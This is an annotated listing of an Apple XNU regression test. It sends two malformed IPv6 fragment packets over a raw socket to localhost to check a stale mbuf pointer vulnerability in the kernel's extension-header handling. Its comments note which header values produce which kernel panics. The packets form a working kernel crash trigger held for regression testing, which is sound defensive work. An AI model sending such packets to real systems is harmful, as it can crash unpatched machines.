1*8d741a5dSApple OSS Distributions #include <errno.h> 2*8d741a5dSApple OSS Distributions #include <stdio.h> 3*8d741a5dSApple OSS Distributions #include <string.h> 4*8d741a5dSApple OSS Distributions #include <stdlib.h> 5*8d741a5dSApple OSS Distributions #include <unistd.h> 6*8d741a5dSApple OSS Distributions #include <arpa/inet.h> 7*8d741a5dSApple OSS Distributions #include <net/if_var.h> 8*8d741a5dSApple OSS Distributions #include <netinet/ip6.h> 9*8d741a5dSApple OSS Distributions #include <darwintest.h> 10*8d741a5dSApple OSS Distributions 11*8d741a5dSApple OSS Distributions struct packet1 { 12*8d741a5dSApple OSS Distributions struct ip6_hbh hbh; 13*8d741a5dSApple OSS Distributions struct ip6_opt hbh_opt; 14*8d741a5dSApple OSS Distributions uint8_t hbh_pad[4]; 15*8d741a5dSApple OSS Distributions struct ip6_frag frag; 16*8d741a5dSApple OSS Distributions struct ip6_dest dest; 17*8d741a5dSApple OSS Distributions struct ip6_opt dest_opt; 18*8d741a5dSApple OSS Distributions uint8_t dest_pad[4]; 19*8d741a5dSApple OSS Distributions }; 20*8d741a5dSApple OSS Distributions 21*8d741a5dSApple OSS Distributions struct packet2 { 22*8d741a5dSApple OSS Distributions struct ip6_hbh hbh; 23*8d741a5dSApple OSS Distributions struct ip6_opt hbh_opt; 24*8d741a5dSApple OSS Distributions uint8_t hbh_pad[4]; 25*8d741a5dSApple OSS Distributions struct ip6_frag frag; 26*8d741a5dSApple OSS Distributions struct ip6_opt dest_opt; 27*8d741a5dSApple OSS Distributions uint8_t dest_pad[6]; 28*8d741a5dSApple OSS Distributions uint8_t payload[16]; 29*8d741a5dSApple OSS Distributions }; 30*8d741a5dSApple OSS Distributions 31*8d741a5dSApple OSS Distributions T_DECL(IP6_EXTHDR_CHECK_ICMPV6_61873584, "ICMPv6 test for IP6_EXTHDR_CHECK stale mbuf pointer vulnerability", T_META("as_root", "true"), T_META_TAG_VM_PREFERRED) 32*8d741a5dSApple OSS Distributions { 33*8d741a5dSApple OSS Distributions struct sockaddr_in6 daddr; 34*8d741a5dSApple OSS Distributions struct packet1 packet1; 35*8d741a5dSApple OSS Distributions struct packet2 packet2; 36*8d741a5dSApple OSS Distributions int s, id, res; 37*8d741a5dSApple OSS Distributions 38*8d741a5dSApple OSS Distributions srand(time(NULL)); 39*8d741a5dSApple OSS Distributions id = rand(); 40*8d741a5dSApple OSS Distributions 41*8d741a5dSApple OSS Distributions T_SETUPBEGIN; 42*8d741a5dSApple OSS Distributions T_ASSERT_POSIX_SUCCESS(s = socket(AF_INET6, SOCK_RAW, IPPROTO_HOPOPTS), NULL); 43*8d741a5dSApple OSS Distributions T_SETUPEND; 44*8d741a5dSApple OSS Distributions 45*8d741a5dSApple OSS Distributions memset(&daddr, 0, sizeof(daddr)); 46*8d741a5dSApple OSS Distributions daddr.sin6_family = AF_INET6; 47*8d741a5dSApple OSS Distributions daddr.sin6_port = 0; 48*8d741a5dSApple OSS Distributions inet_pton(AF_INET6, "::1", &daddr.sin6_addr); 49*8d741a5dSApple OSS Distributions 50*8d741a5dSApple OSS Distributions memset(&packet1, 'A', sizeof(struct packet1)); 51*8d741a5dSApple OSS Distributions packet1.hbh.ip6h_nxt = IPPROTO_FRAGMENT; 52*8d741a5dSApple OSS Distributions packet1.hbh.ip6h_len = 0; 53*8d741a5dSApple OSS Distributions packet1.hbh_opt.ip6o_type = IP6OPT_PADN; 54*8d741a5dSApple OSS Distributions packet1.hbh_opt.ip6o_len = 4; 55*8d741a5dSApple OSS Distributions packet1.frag.ip6f_nxt = IPPROTO_DSTOPTS; 56*8d741a5dSApple OSS Distributions packet1.frag.ip6f_reserved = 0; 57*8d741a5dSApple OSS Distributions packet1.frag.ip6f_offlg = htons(0) | IP6F_MORE_FRAG; 58*8d741a5dSApple OSS Distributions packet1.frag.ip6f_ident = id; 59*8d741a5dSApple OSS Distributions // Use IPPROTO_RAW for "assertion failed: m->m_flags & M_PKTHDR" panic 60*8d741a5dSApple OSS Distributions // Use IPPROTO_ICMPV6 for "m_free: freeing an already freed mbuf" panic 61*8d741a5dSApple OSS Distributions packet1.dest.ip6d_nxt = IPPROTO_RAW; 62*8d741a5dSApple OSS Distributions packet1.dest.ip6d_len = 1; 63*8d741a5dSApple OSS Distributions packet1.dest_opt.ip6o_type = IP6OPT_PADN; 64*8d741a5dSApple OSS Distributions packet1.dest_opt.ip6o_len = 4; 65*8d741a5dSApple OSS Distributions 66*8d741a5dSApple OSS Distributions memset(&packet2, 'B', sizeof(struct packet2)); 67*8d741a5dSApple OSS Distributions packet2.hbh.ip6h_nxt = IPPROTO_FRAGMENT; 68*8d741a5dSApple OSS Distributions packet2.hbh.ip6h_len = 0; 69*8d741a5dSApple OSS Distributions packet2.hbh_opt.ip6o_type = IP6OPT_PADN; 70*8d741a5dSApple OSS Distributions packet2.hbh_opt.ip6o_len = 4; 71*8d741a5dSApple OSS Distributions packet2.frag.ip6f_nxt = IPPROTO_DSTOPTS; 72*8d741a5dSApple OSS Distributions packet2.frag.ip6f_reserved = 0; 73*8d741a5dSApple OSS Distributions packet2.frag.ip6f_offlg = htons(8); 74*8d741a5dSApple OSS Distributions packet2.frag.ip6f_ident = id; 75*8d741a5dSApple OSS Distributions packet2.dest_opt.ip6o_type = IP6OPT_PADN; 76*8d741a5dSApple OSS Distributions packet2.dest_opt.ip6o_len = 6; 77*8d741a5dSApple OSS Distributions 78*8d741a5dSApple OSS Distributions T_ASSERT_POSIX_SUCCESS(res = sendto(s, (char *)&packet1, sizeof(packet1), 0, 79*8d741a5dSApple OSS Distributions (struct sockaddr *)&daddr, (socklen_t)sizeof(daddr)), NULL); 80*8d741a5dSApple OSS Distributions T_ASSERT_POSIX_SUCCESS(res = sendto(s, (char *)&packet2, sizeof(packet2), 0, 81*8d741a5dSApple OSS Distributions (struct sockaddr *)&daddr, (socklen_t)sizeof(daddr)), NULL); 82*8d741a5dSApple OSS Distributions T_ASSERT_POSIX_SUCCESS(res = close(s), NULL); 83*8d741a5dSApple OSS Distributions } 84